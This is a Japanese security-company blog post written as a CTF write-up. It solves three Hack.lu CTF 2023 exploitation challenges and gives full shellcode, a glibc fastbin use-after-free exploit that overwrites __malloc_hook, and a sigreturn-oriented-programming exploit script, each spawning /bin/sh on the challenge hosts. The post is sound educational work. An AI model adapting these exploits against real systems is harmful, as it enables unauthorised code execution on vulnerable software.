NTT Security Japan

お問い合わせ

Hack.lu CTF 2023 Writeup

テクニカルブログ

Hack.lu CTF 2023 Writeup
By Yuki Suzuki

Published December 8, 2023 | Japanese

はじめに

コンサルティングサービス部の鈴木です。普段はレッドチーム業務を担当しています。

今回は2023年10月14日から16日に開催されたHack.lu CTFにTeam Enuの一員として参加してきたので、技術的な解説記事を書こうと思います。

競技ページ: https://flu.xxx/challenges

Destiny Digits

対象のプログラムを解析するとおおよそ以下のような動作になっていました。

1. データを受け取る
2. 4バイトの整数列(ビッグエンディアン)としてデータをソートする
3. データを機械語として実行する

送りこんだ機械語を実行することができますが、
4バイトの整数としてソートされてコードが崩れてしまいます。
これを解決するために、以下のように本当に実行したい命令の前にjmp命令を置きます。
ソートされても順序が変化しないようにjmp命令のオフセット部分を調整しておいて、
余った2バイト分のスペースを使ってプログラムを組みます。

実行したいプログラムは以下のように
execve("/bin/sh", {"/bin/sh", NULL}, NULL);を実行するプログラムです。
最初のmov rdi, ...の部分だけは1命令で2バイトより大きくなってしまいますが、
運よくソートされても順序が変化しないデータ列になっているので、このまま使います。

[bits 64]

  ; rdi <- p64("//bin/sh")
  mov rdi, 0x68732f6e69622f2f
  mov al, 59
  ; rcx is 0
  push rcx ; (top) -> 0
  push rdi
  push rsp
  pop rdi ; rdi = "//bin/sh\0"
  push rcx ; push NULL
  push rdi ; create { "//bin/sh", NULL }
  push rsp
  pop rsi ; rsi = { "//bin/sh", NULL }
  syscall ; execve("//bin/sh", { "//bin/sh", NULL }, NULL);

jmpの手法と上のシェルコードを組み合わせて、最終的に以下のような命令列を送って、フラグを取ることができました。

[bits 64]
; nasm this-file.asm
entry:
  ; rdi <- p64("//bin/sh")
  mov rdi, 0x68732f6e69622f2f
  mov al, 59

  jmp short $+2
  push rcx ; (top) -> 0
  nop

  jmp short $+6
  db 0, 0
  jmp short $+6
  push rdi
  push rsp

  jmp short $+10
  db 0, 0
  jmp short $+10
  db 1, 0
  jmp short $+10
  pop rdi ; rdi = "//bin/sh\0"
  push rcx ; push NULL

  jmp short $+14
  db 0, 0
  jmp short $+14
  db 1, 0
  jmp short $+14
  db 2, 0
  jmp short $+14
  push rdi ; { "//bin/sh", NULL }
  push rsp

  jmp short $+18
  db 0, 0
  jmp short $+18
  db 1, 0
  jmp short $+18
  db 2, 0
  jmp short $+18
  db 3, 0
  jmp short $+18
  pop rsi ; rsi = { "//bin/sh", NULL }
  nop

  jmp short $+22
  db 0, 0
  jmp short $+22
  db 1, 0
  jmp short $+22
  db 2, 0
  jmp short $+22
  db 3, 0
  jmp short $+22
  db 4, 0
  jmp short $+22
  syscall

このように実際に実行したい命令列にjmp命令を混ぜる手法は、
ブラウザなどのJITコンパイラに対する攻撃で使われる手法で、
状況はまったく違いますが、そこから着想を得てこの問題を解くことができました。

New House

$ ./new_house
Hello fellow architect!
Are you ready to design your new house?

During the construction of the foundation, we found something
interesting in the ground: 0x7f5e74000000

rooms: 0/8
deleted rooms: 0/1

(1) add new room
(2) delete existing room
(3) design a room
(4) list rooms
>>>

プログラムの機能として以下の4つのことができます。

  • roomを追加する
  • room(の中のdata)を消す
  • roomの中のdataに書き込む
  • roomの情報を表示する

roomの構造体は以下のようになっていました。

struct room {
  char name[16];
  char* data; // heap
  uint64_t data_size;
};

バグはroom.dataをfreeしたあともroom.dataのポインタが残っていて、
そのまま書き込みなどができてしまうというバグです。
このようなバグはUse After Freeと呼ばれます。

ヒープ領域に関するバグなので、問題環境のヒープがどのような構造になっているかを簡単に解説します。glibcはfreeされた領域を連結リストで管理するようになっていて、
この問題で使われていたバージョンだと、ある程度小さい領域は
fastbinというサイズごとに作られた専用の単方向連結リストにつなぐようになっていました。
(問題で使われていたglibcはだいぶ古く、現在広く使われているものと挙動が異なります。)

このfastbinのリストは次のmallocで返す領域を決めるので、
Use After Freeを使ってリストを書き換えれば次のmallocで重要変数付近の領域を返す
ことも可能です。

次に、mallocの返り値でどこを返すべきかを考えます。malloc系の問題でよくターゲットになる変数として、glibcの__malloc_hookがあります。これはデバッグ用の機能で、__malloc_hookに関数のアドレスが入っているとmallocの内部でその関数が呼ばれます。
例えば__malloc_hook = systemのときにmalloc(10)が呼ばれるとsystem(10)がmallocの内部で呼ばれます。これを使って、シェルを立ち上げます。
(ここもglibcのバージョンアップで変わっていて、この手法は古いglibcでしか使えません。)

この手法には一つ問題があって、
mallocでfastbinから領域を返す際に、その領域のメタデータに適正なサイズが書かれているかというチェックがされます。
https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L3577

malloc_hookの周辺領域を見てみるとlibcのアドレスがいくつか書かれています。
これを前述のサイズチェックを通過するために利用します。
libcのアドレスは上位バイトが0x7fになっていて、この部分がサイズとして解釈されるようにリストの書き換え時にアドレスをずらしておきます。
サイズの下位bitはサイズと直接関係ないフラグとして使われる仕様なので、0x7fでも0x70のサイズチェックを通過できます。これでサイズチェックの問題も解決できました。

エクスプロイトの流れは以下のようになります。


1. 0x70のfastbinに入るサイズ(0x58 < x <= 0x68)のmallocをして、freeする
2. freeした領域の先頭(連結リストのポインタ部分)に、サイズチェックをしたときにサイズ部分が0x7Xになるようにmalloc_hookより少し低いアドレスを書き込む
3. malloc(0x68)を2回する
4. 2回目のmallocで返ってきた領域にsystem関数のアドレスを書き込む
5. libcの"/bin/sh"のアドレスを計算して、malloc("/bin/sh")になるようにmallocを呼ぶ

完成したエクスプロイトを以下に示します。

#!/usr/bin/env python3
from pwn import * # pip3 install pwntools


libc_file   = './libc.so.6'
libc   = ELF(libc_file)
room_cnt = 0
delete_cnt = 0


def menu(r, n):
    r.sendlineafter(b'>>> ', str(n).encode())


def add(r, name, size):
    global room_cnt
    assert room_cnt < 8
    assert len(name) <= 16
    menu(r, 1)
    r.sendafter(b'roomname? ', name)
    r.sendlineafter(b'roomsize? ', str(size).encode())
    result = room_cnt
    room_cnt += 1
    return result


def delete(r, idx):
    global delete_cnt
    assert delete_cnt < 1
    menu(r, 2)
    r.sendlineafter(b'roomnumber? ', str(idx).encode())
    delete_cnt += 1


def edit(r, idx, what):
    global room_in_use
    assert idx < room_cnt
    menu(r, 3)
    r.sendlineafter(b'roomnumber? ', str(idx).encode())
    r.sendafter(b'room? ', what)


def ls(r):
    menu(r, 4)
    result = []
    for i in range(room_cnt):
        room_id_str = b'room-%d: ' % i
        data = r.recvuntil(room_id_str)
        if i == 0:
            continue
        result.append(data[len(room_id_str):])
    if 0 < room_cnt:
        result.append(r.recvuntil(b'\n')[:-1])
    return result


def debug(r):
    menu(r, 5)


def main():
    r = remote('flu.xxx', 10170)

    r.recvuntil(b'ground: ')
    libc_base = int(r.recvuntil(b'\n')[:-1], 16)
    log.info('libc_base = ' + hex(libc_base))
    first = add(r, b'first', 0x68)
    delete(r, first)

    libc_base_gdb = 0x00007ffff7800000
    malloc_hook_gdb = 0x00007ffff7baabf0
    libc_binsh_gdb = 0x7ffff79728d5
    malloc_hook = libc_base - libc_base_gdb + malloc_hook_gdb
    libc_binsh = libc_base - libc_base_gdb + libc_binsh_gdb

    edit(r, first, p64(malloc_hook-27-8))
    guard = add(r, b'guard', 0x68)
    hook = add(r, b'hook', 0x68)
    libc_one_gadget = libc_base + 0x40e36
    edit(r, guard, b'/bin/sh\0')
    edit(r, hook, b'A'*19 + p64(libc_base + libc.symbols['system']))
    add(r, b'trigger', libc_binsh)
    r.interactive()


if __name__ == '__main__':
    main()

pong

pong:     file format elf64-x86-64


Disassembly of section .text:

0000000000001000 <_start>:
    1000:	41 b8 00 00 00 00    	mov    r8d,0x0
    1006:	48 89 e5             	mov    rbp,rsp
    1009:	48 81 ec 00 02 00 00 	sub    rsp,0x200

0000000000001010 <loop>:
    1010:	ba 00 02 00 00       	mov    edx,0x200
    1015:	48 89 e6             	mov    rsi,rsp
    1018:	bf 00 00 00 00       	mov    edi,0x0
    101d:	b8 00 00 00 00       	mov    eax,0x0
    1022:	0f 05                	syscall          # read(0, rsp, 0x200)

    1024:	ba 00 02 00 00       	mov    edx,0x200
    1029:	48 89 ee             	mov    rsi,rbp
    102c:	bf 01 00 00 00       	mov    edi,0x1
    1031:	b8 01 00 00 00       	mov    eax,0x1
    1036:	0f 05                	syscall          # write(1, rbp, 0x200)

    1038:	48 31 c0             	xor    rax,rax
    103b:	49 ff c0             	inc    r8
    103e:	49 83 f8 04          	cmp    r8,0x4
    1042:	7c cc                	jl     1010 <loop>

    1044:	c3                   	ret

アセンブリ言語で書かれたバイナリで、大きなバッファオーバーフローがあります。
また、スタック上のデータをリークしてしまうバグもあり、これによってバイナリが読み込まれているアドレスがわかります。

この問題ではRIPを取るのは簡単ですが、与えられたバイナリがとても小さく、単純なコードの再利用では引数に使うレジスタに任意の値をセットするのが難しそうです。

そこで、sigreturn oriented programmingというテクニックを使います。
https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6956568

sigreturnはシグナルハンドラからもとの中断されていたコードに復帰するときに使われる
システムコールで、スタックから中断前のレジスタの状態を復元します。
これを利用して、あらかじめスタックに積んでおいた値をレジスタにセットします。
sigreturnはRIPとすべての汎用レジスタに値をセットできるので、
任意のアドレスに任意の引数をセットした状態でジャンプすることができます。

問題のバグでスタックに大量のデータを書き込むことはできるので、
あとはsigreturnを呼び出すことができればいろいろできそうです。

与えられたバイナリで使えそうなROPガジェットを探すとinc eax; ... ; retがあります。これを何回か繰り返し使ってeaxにsigreturnのシステムコール番号をセットして、バイナリの中のsyscallにジャンプするようなROPを組めば任意のコードが実行できます。

最終的に完成したエクスプロイトを以下に示します。

#!/usr/bin/env python3
from pwn import * # pip3 install pwntools


def u64x(data):
    return u64(data.ljust(8, b'\0'))


def p64x(*nums):
    data = b''
    for num in nums:
        data += p64(num)
    return data


def main():
    r = remote('flu.xxx', 10060)

    r.send(p64(0xc0ffee))
    data = r.recv(0x200)
    binary_base = -1
    for i in range(0x200//8):
        val = u64x(data[8*i:8*i+8])
        if (val & 0xfff) == 0x040:
            binary_base = val - 0x40
        print(hex(val))
    log.info('binary_base = ' + hex(binary_base))

    for _ in range(2):
        r.send(p64(0xc0ffee))
        r.recv(0x200)

    sys_sigreturn = 15
    syscall_clear_rax_ret = 0x1036 + binary_base
    inc_eax = 0x103c + binary_base
    free_space = 0x2000 + binary_base

    # read(0, free_space, 0xf00)
    # reference: https://inaz2.hatenablog.com/entry/2014/07/30/021123
    stack = b''
    stack += p64x(inc_eax) * sys_sigreturn
    stack += p64x(syscall_clear_rax_ret) # sigreturn
    stack += b'A' * 40
    stack += p64x(4) * 8 # r8-r15, r8 = 4 to skip the branch
    stack += p64x(0) # rdi
    stack += p64x(free_space) # rsi
    stack += p64x(0) # rbp
    stack += p64x(0) # rbx
    stack += p64x(0xf00) # rdx
    stack += p64x(0) # rax
    stack += p64x(0) # rcx
    stack += p64x(free_space + 0x18) # rsp
    stack += p64x(syscall_clear_rax_ret) # rip
    stack += p64x(0) # eflags
    stack += p64x(0x33) # cs, gs, fs
    stack += p64x(0) * 4
    stack += p64x(0) # &fpstate

    assert len(stack) <= 0x200
    r.send(stack)
    r.recv(0x200)

    # prepare { "/bin/sh", NULL }
    stack2 = b''
    stack2 += b'/bin/sh\0'
    stack2 += p64x(free_space, 0)

    # execve("/bin/sh", { "/bin/sh", NULL }, NULL);
    # reference: https://inaz2.hatenablog.com/entry/2014/07/30/021123
    stack2 += p64x(inc_eax) * sys_sigreturn
    stack2 += p64x(syscall_clear_rax_ret) # sigreturn
    stack2 += b'A' * 40
    stack2 += p64x(0) * 8 # r8-r15
    stack2 += p64x(free_space) # rdi
    stack2 += p64x(free_space + 8) # rsi
    stack2 += p64x(0) # rbp
    stack2 += p64x(0) # rbx
    stack2 += p64x(0) # rdx
    stack2 += p64x(59) # rax
    stack2 += p64x(0) # rcx
    stack2 += p64x(0) # rsp
    stack2 += p64x(syscall_clear_rax_ret) # rip
    stack2 += p64x(0) # eflags
    stack2 += p64x(0x33) # cs, gs, fs
    stack2 += p64x(0) * 4
    stack2 += p64x(0) # &fpstate

    r.send(stack2)

    r.interactive()


if __name__ == '__main__':
    main()

おわりに

今回は Hack.lu CTF 2023のpwn問題の解説をしました。内容は古いテーマが多かったように思いますが、sigreturn ROPは今回初めてエクスプロイトを書いたのでだいぶ時間がかかってしまいました。こうした問題もより効率的に解けるように、今後も研鑽を積んでいきたいと思います。

関連記事 / おすすめ記事

Inquiry

お問い合わせ

お客様の業務課題に応じて、さまざまなソリューションの中から最適な組み合わせで、ご提案します。
お困りのことがございましたらお気軽にお問い合わせください。